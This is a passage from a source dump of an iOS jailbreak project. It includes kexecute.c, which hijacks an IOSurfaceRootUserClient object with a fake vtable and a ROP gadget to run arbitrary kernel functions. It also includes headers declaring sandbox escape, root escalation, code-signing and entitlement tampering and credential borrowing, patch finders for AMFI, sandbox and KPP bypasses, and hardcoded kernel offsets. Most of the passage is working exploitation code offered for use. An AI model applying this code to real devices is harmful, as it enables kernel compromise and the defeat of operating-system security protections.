114 | #endif
115 |
116 | #endif /* __OS_OSMESSAGENOTIFICATION_H */
117 |
118 |
--------------------------------------------------------------------------------
/empty_list/jelbrek/include/IOKit/Readme.md:
--------------------------------------------------------------------------------
1 | IOKit for iOS SDK7.0
2 | =======
3 |
4 | 
5 |
6 | 在某些时候可能会用到IOKit来获取一些信息,但是将sdk从6.x升级到7.0的sdk之后就会发现那个libIOKit.dylib找不到了。晚上的办法是将6.x的sdk复制到7.0的sdk下,或者创建一个符号链接。
7 |
8 | 其实还有另外的一个解决办法,在7.0之后这个东西只是不是dylib了,而是成了一个framework。在这个目录下
9 |
10 | /Applications/Xcode.app/Contents/Developer/Platforms/iPhoneOS.platform/Developer/SDKs/iPhoneOS7.0.sdk/System/Library/Frameworks/IOKit.framework,所以只需要将工程中的iokit用framework替换掉就可以了。另外这个并没有头文件,如果要用也得自己去提取相关的头文件。可以用classdump来生成。我用的是apple xun中的头文件,效果是一样的,这里整理了一下,需要的直接放入工程目录下引入IOKitLib.h就可以了。
--------------------------------------------------------------------------------
/empty_list/jelbrek/include/IOKit/screenshot.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/jakeajames/rootlessJB_EL/264cb6f857c2b0cd93d6cd3f798f8b7bc5aa139a/empty_list/jelbrek/include/IOKit/screenshot.jpg
--------------------------------------------------------------------------------
/empty_list/jelbrek/inject_criticald.h:
--------------------------------------------------------------------------------
1 | int inject_dylib(pid_t pid, char *loaded_dylib);
2 | uint64_t binary_load_address(mach_port_t tp);
3 |
--------------------------------------------------------------------------------
/empty_list/jelbrek/jelbrek.h:
--------------------------------------------------------------------------------
1 | #include "QiLin.h"
2 |
3 | void init_jelbrek(mach_port_t tfp0, uint64_t kernel_base);
4 | int trustbin(const char *path);
5 | BOOL unsandbox(pid_t pid);
6 | void setcsflags(pid_t pid);
7 | BOOL get_root(pid_t pid);
8 | void remount1126(void);
9 | int mountDevAtPathAsRW(const char* devpath, const char* path);
10 | int remount1131(void);
11 | void platformize(pid_t pid);
12 | void entitlePid(pid_t pid, const char *ent1, _Bool val1);
13 | int launch(char *binary, char *arg1, char *arg2, char *arg3, char *arg4, char *arg5, char *arg6, char**env);
14 | int launchAsPlatform(char *binary, char *arg1, char *arg2, char *arg3, char *arg4, char *arg5, char *arg6, char**env);
15 | void undoCredDonation(uint64_t selfcred);
16 | uint64_t borrowCredsFromPid(pid_t donor);
17 | uint64_t borrowCredsFromDonor(char *binary);
18 |
19 |
--------------------------------------------------------------------------------
/empty_list/jelbrek/kern_utils.h:
--------------------------------------------------------------------------------
1 | //
2 | // fun_utils.h
3 | // async_wake_ios
4 | //
5 | // Created by George on 18/12/17.
6 | // Copyright © 2017 Ian Beer. All rights reserved.
7 | //
8 |
9 | #ifndef fun_utils_h
10 | #define fun_utils_h
11 |
12 | #include
13 | #include
14 | #include
15 | #include
16 | #include
17 | #include
18 | #include
19 | #include
20 | #include
21 | #include
22 |
23 | // Needed definitions
24 | kern_return_t mach_vm_allocate(vm_map_t target, mach_vm_address_t *address, mach_vm_size_t size, int flags);
25 | kern_return_t mach_vm_read_overwrite(vm_map_t target_task, mach_vm_address_t address, mach_vm_size_t size, mach_vm_address_t data, mach_vm_size_t *outsize);
26 | kern_return_t mach_vm_write(vm_map_t target_task, mach_vm_address_t address, vm_offset_t data, mach_msg_type_number_t dataCnt);
27 | kern_return_t mach_vm_deallocate(vm_map_t target, mach_vm_address_t *address, mach_vm_size_t size);
28 |
29 | // "General" purpose
30 | uint8_t *get_sha256(uint8_t* code_dir);
31 | uint8_t *get_code_directory(const char* name);
32 | int cp(const char *from, const char *to);
33 | int file_exist(char *filename);
34 |
35 | // Kernel utility stuff
36 | void init_kernel_utils(mach_port_t tfp0);
37 | uint64_t kalloc(vm_size_t size);
38 | void kfree(mach_vm_address_t address, vm_size_t size);
39 | size_t kread(uint64_t where, void *p, size_t size);
40 | uint32_t kread32(uint64_t where);
41 | uint64_t kread64(uint64_t where);
42 | size_t kwrite(uint64_t where, const void *p, size_t size);
43 | void kwrite32(uint64_t where, uint32_t what);
44 | void kwrite64(uint64_t where, uint64_t what);
45 | void kmemcpy(uint64_t dest, uint64_t src, uint32_t length);
46 | mach_port_t fake_host_priv(void);
47 | uint64_t zm_fix_addr(uint64_t addr);
48 | uint64_t proc_for_pid(pid_t pid);
49 | uint64_t proc_for_name(char *nm);
50 | unsigned int pid_for_name(char *nm);
51 | uint64_t find_port_address(mach_port_name_t port);
52 | uint64_t task_self_addr(void);
53 | uint64_t kmem_alloc_wired(uint64_t size);
54 | uint64_t find_kernproc(void);
55 | uint64_t find_kernel_base(void);
56 | uint64_t getVnodeAtPath(const char *path);
57 | #endif /* fun_utils_h */
58 |
--------------------------------------------------------------------------------
/empty_list/jelbrek/kexecute.c:
--------------------------------------------------------------------------------
1 |
2 | #include
3 | #include "kern_utils.h"
4 | #include "kexecute.h"
5 | #include "patchfinder64.h"
6 | #include "offsetof.h"
7 | #include
8 |
9 | mach_port_t prepare_user_client(void) {
10 | kern_return_t err;
11 | mach_port_t user_client;
12 | io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("IOSurfaceRoot"));
13 |
14 | if (service == IO_OBJECT_NULL){
15 | printf(" [-] unable to find service\n");
16 | exit(EXIT_FAILURE);
17 | }
18 |
19 | err = IOServiceOpen(service, mach_task_self(), 0, &user_client);
20 | if (err != KERN_SUCCESS){
21 | printf(" [-] unable to get user client connection\n");
22 | exit(EXIT_FAILURE);
23 | }
24 |
25 |
26 | //
27 | printf("got user client: 0x%x\n", user_client);
28 | return user_client;
29 | }
30 |
31 | // TODO: Consider removing this - jailbreakd runs all kernel ops on the main thread
32 | pthread_mutex_t kexecute_lock;
33 | static mach_port_t user_client;
34 | static uint64_t IOSurfaceRootUserClient_port;
35 | static uint64_t IOSurfaceRootUserClient_addr;
36 | static uint64_t fake_vtable;
37 | static uint64_t fake_client;
38 | const int fake_kalloc_size = 0x1000;
39 |
40 | void init_kexecute(void) {
41 | user_client = prepare_user_client();
42 |
43 | // From v0rtex - get the IOSurfaceRootUserClient port, and then the address of the actual client, and vtable
44 | IOSurfaceRootUserClient_port = find_port_address(user_client); // UserClients are just mach_ports, so we find its address
45 | //
46 | printf("Found port: 0x%llx\n", IOSurfaceRootUserClient_port);
47 |
48 | IOSurfaceRootUserClient_addr = kread64(IOSurfaceRootUserClient_port + offsetof_ip_kobject); // The UserClient itself (the C++ object) is at the kobject field
49 | //
50 | printf("Found addr: 0x%llx\n", IOSurfaceRootUserClient_addr);
51 |
52 | uint64_t IOSurfaceRootUserClient_vtab = kread64(IOSurfaceRootUserClient_addr); // vtables in C++ are at *object
53 | //
54 | printf("Found vtab: 0x%llx\n", IOSurfaceRootUserClient_vtab);
55 |
56 | // The aim is to create a fake client, with a fake vtable, and overwrite the existing client with the fake one
57 | // Once we do that, we can use IOConnectTrap6 to call functions in the kernel as the kernel
58 |
59 |
60 | // Create the vtable in the kernel memory, then copy the existing vtable into there
61 | fake_vtable = kalloc(fake_kalloc_size);
62 | //
63 | printf("Created fake_vtable at %016llx\n", fake_vtable);
64 |
65 | for (int i = 0; i < 0x200; i++) {
66 | kwrite64(fake_vtable+i*8, kread64(IOSurfaceRootUserClient_vtab+i*8));
67 | }
68 |
69 | //
70 | printf("Copied some of the vtable over\n");
71 |
72 | // Create the fake user client
73 | fake_client = kalloc(fake_kalloc_size);
74 | //
75 | printf("Created fake_client at %016llx\n", fake_client);
76 |
77 | for (int i = 0; i < 0x200; i++) {
78 | kwrite64(fake_client+i*8, kread64(IOSurfaceRootUserClient_addr+i*8));
79 | }
80 |
81 | //
82 | printf("Copied the user client over\n");
83 |
84 | // Write our fake vtable into the fake user client
85 | kwrite64(fake_client, fake_vtable);
86 |
87 | // Replace the user client with ours
88 | kwrite64(IOSurfaceRootUserClient_port + offsetof_ip_kobject, fake_client);
89 |
90 | // Now the userclient port we have will look into our fake user client rather than the old one
91 |
92 | // Replace IOUserClient::getExternalTrapForIndex with our ROP gadget (add x0, x0, #0x40; ret;)
93 | kwrite64(fake_vtable+8*0xB7, find_add_x0_x0_0x40_ret());
94 |
95 | //
96 | printf("Wrote the `add x0, x0, #0x40; ret;` gadget over getExternalTrapForIndex");
97 |
98 | pthread_mutex_init(&kexecute_lock, NULL);
99 | }
100 |
101 | void term_kexecute(void) {
102 | kwrite64(IOSurfaceRootUserClient_port + offsetof_ip_kobject, IOSurfaceRootUserClient_addr);
103 | kfree(fake_vtable, fake_kalloc_size);
104 | kfree(fake_client, fake_kalloc_size);
105 | }
106 |
107 | uint64_t kexecute(uint64_t addr, uint64_t x0, uint64_t x1, uint64_t x2, uint64_t x3, uint64_t x4, uint64_t x5, uint64_t x6) {
108 | pthread_mutex_lock(&kexecute_lock);
109 |
110 | // When calling IOConnectTrapX, this makes a call to iokit_user_client_trap, which is the user->kernel call (MIG). This then calls IOUserClient::getTargetAndTrapForIndex
111 | // to get the trap struct (which contains an object and the function pointer itself). This function calls IOUserClient::getExternalTrapForIndex, which is expected to return a trap.
112 | // This jumps to our gadget, which returns +0x40 into our fake user_client, which we can modify. The function is then called on the object. But how C++ actually works is that the
113 | // function is called with the first arguement being the object (referenced as `this`). Because of that, the first argument of any function we call is the object, and everything else is passed
114 | // through like normal.
115 |
116 | // Because the gadget gets the trap at user_client+0x40, we have to overwrite the contents of it
117 | // We will pull a switch when doing so - retrieve the current contents, call the trap, put back the contents
118 | // (i'm not actually sure if the switch back is necessary but meh)
119 |
120 | uint64_t offx20 = kread64(fake_client+0x40);
121 | uint64_t offx28 = kread64(fake_client+0x48);
122 | kwrite64(fake_client+0x40, x0);
123 | kwrite64(fake_client+0x48, addr);
124 | uint64_t returnval = IOConnectTrap6(user_client, 0, (uint64_t)(x1), (uint64_t)(x2), (uint64_t)(x3), (uint64_t)(x4), (uint64_t)(x5), (uint64_t)(x6));
125 | kwrite64(fake_client+0x40, offx20);
126 | kwrite64(fake_client+0x48, offx28);
127 |
128 | pthread_mutex_unlock(&kexecute_lock);
129 |
130 | return returnval;
131 | }
132 |
--------------------------------------------------------------------------------
/empty_list/jelbrek/kexecute.h:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 |
4 | uint64_t kexecute(uint64_t addr, uint64_t x0, uint64_t x1, uint64_t x2, uint64_t x3, uint64_t x4, uint64_t x5, uint64_t x6);
5 | void init_kexecute(void);
6 | void term_kexecute(void);
7 |
--------------------------------------------------------------------------------
/empty_list/jelbrek/libjb.a:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/jakeajames/rootlessJB_EL/264cb6f857c2b0cd93d6cd3f798f8b7bc5aa139a/empty_list/jelbrek/libjb.a
--------------------------------------------------------------------------------
/empty_list/jelbrek/libjb.h:
--------------------------------------------------------------------------------
1 | #include
2 |
3 | #ifndef libjb_h_included
4 | #define libjb_h_included
5 |
6 |
7 |
8 | /* libhfs *******************************************************************/
9 |
10 | enum {
11 | kPermOtherExecute = 1 << 0,
12 | kPermOtherWrite = 1 << 1,
13 | kPermOtherRead = 1 << 2,
14 | kPermGroupExecute = 1 << 3,
15 | kPermGroupWrite = 1 << 4,
16 | kPermGroupRead = 1 << 5,
17 | kPermOwnerExecute = 1 << 6,
18 | kPermOwnerWrite = 1 << 7,
19 | kPermOwnerRead = 1 << 8,
20 | kPermMask = 0x1FF,
21 | kOwnerNotRoot = 1 << 9,
22 | kFileTypeUnknown = 0x0 << 16,
23 | kFileTypeFlat = 0x1 << 16,
24 | kFileTypeDirectory = 0x2 << 16,
25 | kFileTypeLink = 0x3 << 16,
26 | kFileTypeMask = 0x3 << 16
27 | };
28 |
29 | typedef long CICell;
30 |
31 | extern char *gLoadAddr; /* buffer of size 32MB (max file size) */
32 |
33 | CICell HFSOpen(const char *filename, long offset);
34 | long HFSReadFile(CICell ih, char *filePath, void *base, unsigned long offset, unsigned long length);
35 | long HFSGetDirEntry(CICell ih, char *dirPath, unsigned long *dirIndex, char **name, long *flags, long *time);
36 | void HFSClose(CICell);
37 |
38 | /* untar ********************************************************************/
39 |
40 | /* untar 'a' to current directory. path is name of archive (informational) */
41 | void untar(FILE *a, const char *path);
42 |
43 | /* launchctl ****************************************************************/
44 |
45 | int launchctl_load_cmd(const char *filename, int do_load, int opt_force, int opt_write);
46 |
47 | /* hashes *******************************************************************/
48 |
49 | struct trust_dsk {
50 | unsigned int version;
51 | unsigned char uuid[16];
52 | unsigned int count;
53 | //unsigned char data[];
54 | } __attribute__((packed));
55 |
56 | struct trust_mem {
57 | uint64_t next; //struct trust_mem *next;
58 | unsigned char uuid[16];
59 | unsigned int count;
60 | //unsigned char data[];
61 | } __attribute__((packed));
62 |
63 | struct hash_entry_t {
64 | uint16_t num;
65 | uint16_t start;
66 | } __attribute__((packed));
67 |
68 | typedef uint8_t hash_t[20];
69 |
70 | extern hash_t *allhash;
71 | extern unsigned numhash;
72 | extern struct hash_entry_t *amfitab;
73 | extern hash_t *allkern;
74 |
75 | /* can be called multiple times. kernel read func & amfi/top trust chain block are optional */
76 | int grab_hashes(const char *root, size_t (*kread)(uint64_t, void *, size_t), uint64_t amfi, uint64_t top);
77 |
78 | #endif
79 |
--------------------------------------------------------------------------------
/empty_list/jelbrek/liboffsetfinder64.hpp:
--------------------------------------------------------------------------------
1 | //
2 | // offsetfinder64.hpp
3 | // offsetfinder64
4 | //
5 | // Created by tihmstar on 10.01.18.
6 | // Copyright © 2018 tihmstar. All rights reserved.
7 | //
8 |
9 | #ifndef offsetfinder64_hpp
10 | #define offsetfinder64_hpp
11 |
12 | #include
13 | #include
14 | #include
15 | #include
16 | #include
17 | #include
18 |
19 | #include
20 |
21 | typedef uint64_t offset_t;
22 |
23 |
24 | namespace tihmstar {
25 |
26 | class exception : public std::exception{
27 | std::string _err;
28 | int _code;
29 | public:
30 | exception(int code, std::string err) : _err(err), _code(code) {};
31 | exception(std::string err) : _err(err), _code(0) {};
32 | exception(int code) : _code(code) {};
33 | const char *what(){return _err.c_str();}
34 | int code(){return _code;}
35 | };
36 | namespace patchfinder64{
37 | typedef uint8_t* loc_t;
38 |
39 | class patch{
40 | bool _slideme;
41 | void(*_slidefunc)(class patch *patch, uint64_t slide);
42 | public:
43 | const loc_t _location;
44 | const void *_patch;
45 | const size_t _patchSize;
46 | patch(loc_t location, const void *patch, size_t patchSize, void(*slidefunc)(class patch *patch, uint64_t slide) = NULL) : _location(location), _patchSize(patchSize), _slidefunc(slidefunc){
47 | _patch = malloc(_patchSize);
48 | memcpy((void*)_patch, patch, _patchSize);
49 | _slideme = (_slidefunc) ? true : false;
50 | }
51 | patch(const patch& cpy) : _location(cpy._location), _patchSize(cpy._patchSize){
52 | _patch = malloc(_patchSize);
53 | memcpy((void*)_patch, cpy._patch, _patchSize);
54 | _slidefunc = cpy._slidefunc;
55 | _slideme = cpy._slideme;
56 | }
57 | void slide(uint64_t slide){
58 | if (!_slideme)
59 | return;
60 | printf("sliding with %p\n",(void*)slide);
61 | _slidefunc(this,slide);
62 | _slideme = false; //only slide once
63 | }
64 | ~patch(){
65 | free((void*)_patch);
66 | }
67 |
68 | };
69 | }
70 | class offsetfinder64 {
71 | public:
72 | struct text_t{
73 | patchfinder64::loc_t map;
74 | size_t size;
75 | patchfinder64::loc_t base;
76 | bool isExec;
77 | };
78 |
79 | private:
80 | bool _freeKernel;
81 | uint8_t *_kdata;
82 | size_t _ksize;
83 | offset_t _kslide;
84 | patchfinder64::loc_t _kernel_entry;
85 | std::vector _segments;
86 |
87 | struct symtab_command *__symtab;
88 | void loadSegments(uint64_t slide);
89 | __attribute__((always_inline)) struct symtab_command *getSymtab();
90 |
91 | public:
92 | offsetfinder64(const char *filename);
93 | offsetfinder64(void* buf, size_t size, uint64_t base);
94 | const void *kdata();
95 | patchfinder64::loc_t find_entry();
96 | const std::vector &segments(){return _segments;};
97 |
98 | patchfinder64::loc_t memmem(const void *little, size_t little_len);
99 |
100 | patchfinder64::loc_t find_sym(const char *sym);
101 | patchfinder64::loc_t find_syscall0();
102 | uint64_t find_register_value(patchfinder64::loc_t where, int reg, patchfinder64::loc_t startAddr = 0);
103 |
104 | /*------------------------ v0rtex -------------------------- */
105 | patchfinder64::loc_t find_zone_map();
106 | patchfinder64::loc_t find_kernel_map();
107 | patchfinder64::loc_t find_kernel_task();
108 | patchfinder64::loc_t find_realhost();
109 | patchfinder64::loc_t find_bzero();
110 | patchfinder64::loc_t find_bcopy();
111 | patchfinder64::loc_t find_copyout();
112 | patchfinder64::loc_t find_copyin();
113 | patchfinder64::loc_t find_ipc_port_alloc_special();
114 | patchfinder64::loc_t find_ipc_kobject_set();
115 | patchfinder64::loc_t find_ipc_port_make_send();
116 | patchfinder64::loc_t find_chgproccnt();
117 | patchfinder64::loc_t find_kauth_cred_ref();
118 | patchfinder64::loc_t find_osserializer_serialize();
119 | uint32_t find_vtab_get_external_trap_for_index();
120 | uint32_t find_vtab_get_retain_count();
121 | uint32_t find_iouserclient_ipc();
122 | uint32_t find_ipc_space_is_task();
123 | uint32_t find_proc_ucred();
124 | uint32_t find_task_bsd_info();
125 | uint32_t find_vm_map_hdr();
126 | uint32_t find_task_itk_self();
127 | uint32_t find_task_itk_registered();
128 | uint32_t find_sizeof_task();
129 |
130 | patchfinder64::loc_t find_rop_add_x0_x0_0x10();
131 | patchfinder64::loc_t find_rop_ldr_x0_x0_0x10();
132 |
133 |
134 | /*------------------------ kernelpatches -------------------------- */
135 | patchfinder64::patch find_i_can_has_debugger_patch_off();
136 | patchfinder64::patch find_lwvm_patch_offsets();
137 | patchfinder64::patch find_remount_patch_offset();
138 | std::vector find_nosuid_off();
139 | patchfinder64::patch find_proc_enforce();
140 | patchfinder64::patch find_amfi_patch_offsets();
141 | patchfinder64::patch find_cs_enforcement_disable_amfi();
142 | patchfinder64::patch find_amfi_substrate_patch();
143 | // patchfinder64::patch find_sandbox_patch();
144 | patchfinder64::loc_t find_sbops();
145 | patchfinder64::patch find_nonceEnabler_patch();
146 |
147 |
148 | /*------------------------ KPP bypass -------------------------- */
149 | patchfinder64::loc_t find_gPhysBase();
150 | patchfinder64::loc_t find_kernel_pmap();
151 | patchfinder64::loc_t find_cpacr_write();
152 | patchfinder64::loc_t find_idlesleep_str_loc();
153 | patchfinder64::loc_t find_deepsleep_str_loc();
154 |
155 | /*------------------------ Util -------------------------- */
156 | patchfinder64::loc_t find_rootvnode();
157 |
158 | ~offsetfinder64();
159 | };
160 | using segment_t = std::vector;
161 | namespace patchfinder64{
162 |
163 | loc_t find_literal_ref(segment_t segemts, offset_t kslide, loc_t pos);
164 | }
165 | }
166 |
167 |
168 |
169 | #endif /* offsetfinder64_hpp */
170 |
--------------------------------------------------------------------------------
/empty_list/jelbrek/libs/libimg4tool.a:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/jakeajames/rootlessJB_EL/264cb6f857c2b0cd93d6cd3f798f8b7bc5aa139a/empty_list/jelbrek/libs/libimg4tool.a
--------------------------------------------------------------------------------
/empty_list/jelbrek/libs/libmerged.a:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/jakeajames/rootlessJB_EL/264cb6f857c2b0cd93d6cd3f798f8b7bc5aa139a/empty_list/jelbrek/libs/libmerged.a
--------------------------------------------------------------------------------
/empty_list/jelbrek/libs/liboffsetfinder64.a:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/jakeajames/rootlessJB_EL/264cb6f857c2b0cd93d6cd3f798f8b7bc5aa139a/empty_list/jelbrek/libs/liboffsetfinder64.a
--------------------------------------------------------------------------------
/empty_list/jelbrek/libs/libplist++.a:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/jakeajames/rootlessJB_EL/264cb6f857c2b0cd93d6cd3f798f8b7bc5aa139a/empty_list/jelbrek/libs/libplist++.a
--------------------------------------------------------------------------------
/empty_list/jelbrek/libs/libplist.a:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/jakeajames/rootlessJB_EL/264cb6f857c2b0cd93d6cd3f798f8b7bc5aa139a/empty_list/jelbrek/libs/libplist.a
--------------------------------------------------------------------------------
/empty_list/jelbrek/offsetfinder.cpp:
--------------------------------------------------------------------------------
1 | //
2 | // rootfs_remount_offsetfinder.cpp
3 | // electra1131
4 | //
5 | // Created by CoolStar on 6/7/18.
6 | // Copyright © 2018 Electra Team. All rights reserved.
7 | //
8 |
9 | #include
10 | #include
11 | #include "liboffsetfinder64.hpp"
12 |
13 | using namespace std;
14 | using namespace tihmstar;
15 |
16 | extern "C" uint64_t ksym_vnode_lookup;
17 | extern "C" uint64_t ksym_vfs_current_context;
18 | extern "C" uint64_t ksym_vnode_put;
19 |
20 | extern "C" bool getOffsets(uint64_t slide) {
21 | printf("Initializing offsetfinder...\n");
22 | offsetfinder64 fi("/System/Library/Caches/com.apple.kernelcaches/kernelcache");
23 | printf("Initialized offsetfinder\n");
24 |
25 | try {
26 | ksym_vfs_current_context = (uint64_t)fi.find_sym("_vfs_context_current");
27 | ksym_vnode_lookup = (uint64_t)fi.find_sym("_vnode_lookup");
28 | ksym_vnode_put = (uint64_t)fi.find_sym("_vnode_put");
29 |
30 | printf("vfs_context_current: %p\n", (void *)ksym_vfs_current_context);
31 | printf("vnode_lookup: %p\n", (void *)ksym_vnode_lookup);
32 | printf("vnode_put: %p\n", (void *)ksym_vnode_put);
33 |
34 | return true;
35 | } catch (tihmstar::exception &e){
36 | printf("offsetfinder failure! %d (%s)\n", e.code(), e.what());
37 | return false;
38 | } catch (std::exception &e){
39 | printf("fatal offsetfinder failure! %s\n", e.what());
40 | return false;
41 | }
42 | }
43 |
--------------------------------------------------------------------------------
/empty_list/jelbrek/offsetof.c:
--------------------------------------------------------------------------------
1 | unsigned offsetof_p_pid = 0x10; // proc_t::p_pid
2 | unsigned offsetof_task = 0x18; // proc_t::task
3 | unsigned offsetof_p_uid = 0x30; // proc_t::p_uid
4 | unsigned offsetof_p_gid = 0x34; // proc_t::p_uid
5 | unsigned offsetof_p_ruid = 0x38; // proc_t::p_uid
6 | unsigned offsetof_p_rgid = 0x3c; // proc_t::p_uid
7 | unsigned offsetof_p_ucred = 0x100; // proc_t::p_ucred
8 | unsigned offsetof_p_csflags = 0x2a8; // proc_t::p_csflags
9 | unsigned offsetof_itk_self = 0xD8; // task_t::itk_self (convert_task_to_port)
10 | unsigned offsetof_itk_sself = 0xE8; // task_t::itk_sself (task_get_special_port)
11 | unsigned offsetof_itk_bootstrap = 0x2b8; // task_t::itk_bootstrap (task_get_special_port)
12 | unsigned offsetof_itk_space = 0x308; // task_t::itk_space
13 | unsigned offsetof_ip_mscount = 0x9C; // ipc_port_t::ip_mscount (ipc_port_make_send)
14 | unsigned offsetof_ip_srights = 0xA0; // ipc_port_t::ip_srights (ipc_port_make_send)
15 | unsigned offsetof_ip_kobject = 0x68; // ipc_port_t::ip_kobject
16 | unsigned offsetof_p_textvp = 0x248; // proc_t::p_textvp
17 | unsigned offsetof_p_textoff = 0x250; // proc_t::p_textoff
18 | unsigned offsetof_p_cputype = 0x2c0; // proc_t::p_cputype
19 | unsigned offsetof_p_cpu_subtype = 0x2c4; // proc_t::p_cpu_subtype
20 | unsigned offsetof_special = 2 * sizeof(long); // host::special
21 | unsigned offsetof_ipc_space_is_table = 0x20; // ipc_space::is_table?..
22 |
23 | unsigned offsetof_ucred_cr_uid = 0x18; // ucred::cr_uid
24 | unsigned offsetof_ucred_cr_ruid = 0x1c; // ucred::cr_ruid
25 | unsigned offsetof_ucred_cr_svuid = 0x20; // ucred::cr_svuid
26 | unsigned offsetof_ucred_cr_ngroups = 0x24; // ucred::cr_ngroups
27 | unsigned offsetof_ucred_cr_groups = 0x28; // ucred::cr_groups
28 | unsigned offsetof_ucred_cr_rgid = 0x68; // ucred::cr_rgid
29 | unsigned offsetof_ucred_cr_svgid = 0x6c; // ucred::cr_svgid
30 |
31 | unsigned offsetof_v_type = 0x70; // vnode::v_type
32 | unsigned offsetof_v_id = 0x74; // vnode::v_id
33 | unsigned offsetof_v_ubcinfo = 0x78; // vnode::v_ubcinfo
34 |
35 | unsigned offsetof_ubcinfo_csblobs = 0x50; // ubc_info::csblobs
36 |
37 | unsigned offsetof_csb_cputype = 0x8; // cs_blob::csb_cputype
38 | unsigned offsetof_csb_flags = 0x12; // cs_blob::csb_flags
39 | unsigned offsetof_csb_base_offset = 0x16; // cs_blob::csb_base_offset
40 | unsigned offsetof_csb_entitlements_offset = 0x98; // cs_blob::csb_entitlements
41 | unsigned offsetof_csb_signer_type = 0xA0; // cs_blob::csb_signer_type
42 | unsigned offsetof_csb_platform_binary = 0xA4; // cs_blob::csb_platform_binary
43 | unsigned offsetof_csb_platform_path = 0xA8; // cs_blob::csb_platform_path
44 |
45 | unsigned offsetof_t_flags = 0x3a0; // task::t_flags
46 |
47 | unsigned offsetof_v_mount = 0xd8; // vnode::v_mount
48 | unsigned offsetof_v_specinfo = 0x78; // vnode::v_specinfo
49 | unsigned offsetof_specflags = 0x10;
50 | unsigned offsetof_mnt_flag = 0x70; // mount::mnt_flag
51 | unsigned offsetof_mnt_data = 0x8f8; // mount::mnt_data
52 |
53 | typedef unsigned long long uint64_t;
54 |
55 | uint64_t ksym_vnode_lookup = 0x0;
56 | uint64_t ksym_vfs_current_context = 0x0;
57 | uint64_t ksym_vnode_put = 0x0;
58 | uint64_t vfs_current_context = 0x0;
59 |
--------------------------------------------------------------------------------
/empty_list/jelbrek/offsetof.h:
--------------------------------------------------------------------------------
1 |
2 | extern unsigned offsetof_p_pid;
3 | extern unsigned offsetof_task;
4 | extern unsigned offsetof_p_uid;
5 | extern unsigned offsetof_p_gid;
6 | extern unsigned offsetof_p_ruid;
7 | extern unsigned offsetof_p_rgid;
8 | extern unsigned offsetof_p_ucred;
9 | extern unsigned offsetof_p_csflags;
10 | extern unsigned offsetof_itk_self;
11 | extern unsigned offsetof_itk_sself;
12 | extern unsigned offsetof_itk_bootstrap;
13 | extern unsigned offsetof_itk_space;
14 | extern unsigned offsetof_ip_mscount;
15 | extern unsigned offsetof_ip_srights;
16 | extern unsigned offsetof_ip_kobject;
17 | extern unsigned offsetof_p_textvp;
18 | extern unsigned offsetof_p_textoff;
19 | extern unsigned offsetof_p_cputype;
20 | extern unsigned offsetof_p_cpu_subtype;
21 | extern unsigned offsetof_special;
22 | extern unsigned offsetof_ipc_space_is_table;
23 |
24 | extern unsigned offsetof_ucred_cr_uid;
25 | extern unsigned offsetof_ucred_cr_ruid;
26 | extern unsigned offsetof_ucred_cr_gid;
27 | extern unsigned offsetof_ucred_cr_rgid;
28 | extern unsigned offsetof_ucred_cr_svgid;
29 | extern unsigned offsetof_ucred_cr_groups;
30 | extern unsigned offsetof_ucred_cr_ngroups;
31 | extern unsigned offsetof_ucred_cr_svuid;
32 |
33 | extern unsigned offsetof_v_type;
34 | extern unsigned offsetof_v_id;
35 | extern unsigned offsetof_v_ubcinfo;
36 |
37 | extern unsigned offsetof_ubcinfo_csblobs;
38 |
39 | extern unsigned offsetof_csb_cputype;
40 | extern unsigned offsetof_csb_flags;
41 | extern unsigned offsetof_csb_base_offset;
42 | extern unsigned offsetof_csb_entitlements_offset;
43 | extern unsigned offsetof_csb_signer_type;
44 | extern unsigned offsetof_csb_platform_binary;
45 | extern unsigned offsetof_csb_platform_path;
46 |
47 | extern unsigned offsetof_t_flags;
48 |
49 | extern unsigned offsetof_v_mount;
50 | extern unsigned offsetof_v_specinfo;
51 | extern unsigned offsetof_specflags;
52 | extern unsigned offsetof_mnt_flag;
53 | extern unsigned offsetof_mnt_data;
54 |
55 | extern uint64_t ksym_vnode_lookup;
56 | extern uint64_t ksym_vfs_current_context;
57 | extern uint64_t ksym_vnode_put;
58 | extern uint64_t vfs_current_context;
59 |
60 | #define CS_VALID 0x0000001 /* dynamically valid */
61 | #define CS_ADHOC 0x0000002 /* ad hoc signed */
62 | #define CS_GET_TASK_ALLOW 0x0000004 /* has get-task-allow entitlement */
63 | #define CS_INSTALLER 0x0000008 /* has installer entitlement */
64 |
65 | #define CS_HARD 0x0000100 /* don't load invalid pages */
66 | #define CS_KILL 0x0000200 /* kill process if it becomes invalid */
67 | #define CS_CHECK_EXPIRATION 0x0000400 /* force expiration checking */
68 | #define CS_RESTRICT 0x0000800 /* tell dyld to treat restricted */
69 | #define CS_ENFORCEMENT 0x0001000 /* require enforcement */
70 | #define CS_REQUIRE_LV 0x0002000 /* require library validation */
71 | #define CS_ENTITLEMENTS_VALIDATED 0x0004000
72 |
73 | #define CS_ALLOWED_MACHO 0x00ffffe
74 |
75 | #define CS_EXEC_SET_HARD 0x0100000 /* set CS_HARD on any exec'ed process */
76 | #define CS_EXEC_SET_KILL 0x0200000 /* set CS_KILL on any exec'ed process */
77 | #define CS_EXEC_SET_ENFORCEMENT 0x0400000 /* set CS_ENFORCEMENT on any exec'ed process */
78 | #define CS_EXEC_SET_INSTALLER 0x0800000 /* set CS_INSTALLER on any exec'ed process */
79 |
80 | #define CS_KILLED 0x1000000 /* was killed by kernel for invalidity */
81 | #define CS_DYLD_PLATFORM 0x2000000 /* dyld used to load this is a platform binary */
82 | #define CS_PLATFORM_BINARY 0x4000000 /* this is a platform binary */
83 | #define CS_PLATFORM_PATH 0x8000000 /* platform binary by the fact of path (osx only) */
84 |
85 | #define CS_DEBUGGED 0x10000000 /* process is currently or has previously been debugged and allowed to run with invalid pages */
86 | #define CS_SIGNED 0x20000000 /* process has a signature (may have gone invalid) */
87 | #define CS_DEV_CODE 0x40000000 /* code is dev signed, cannot be loaded into prod signed code (will go away with rdar://problem/28322552) */
88 |
89 |
--------------------------------------------------------------------------------
/empty_list/jelbrek/osobject.c:
--------------------------------------------------------------------------------
1 | #include
2 | #include "kexecute.h"
3 | #include "kmem.h"
